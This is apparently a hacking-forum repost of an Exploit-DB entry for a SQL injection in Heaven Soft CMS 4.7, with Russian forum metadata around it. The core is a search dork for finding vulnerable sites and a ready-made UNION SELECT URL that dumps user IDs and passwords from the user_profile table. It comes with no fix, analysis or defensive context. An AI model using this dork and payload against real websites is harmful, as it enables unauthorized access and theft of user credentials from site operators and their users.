Exploit Heaven Soft CMS 4.7 - SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
12599
Проверка EDB
  1. Пройдено
Автор
PRINCEOFHACKING
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2010-05-14
Код:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Tybe: SQL Injection Vulnerabilities
[x] Vendor: http://www.newyorkindoorcricket.com/
[x] Script Name: Heaven Soft, CMS Version: 4.7
[x] author: PrinceofHacking
[x] Team: Ashiyane Digital Security Team
[x] Mail : Prince[dot]H4ck@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D0rk:"photogallery_show.php?id"


Exploit:

http://localhost/photogallery_show.php?id=-1
union+select+group_concat(user_id,0x3a,password),2+from+user_profile--

[!]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Источник
www.exploit-db.com

Похожие темы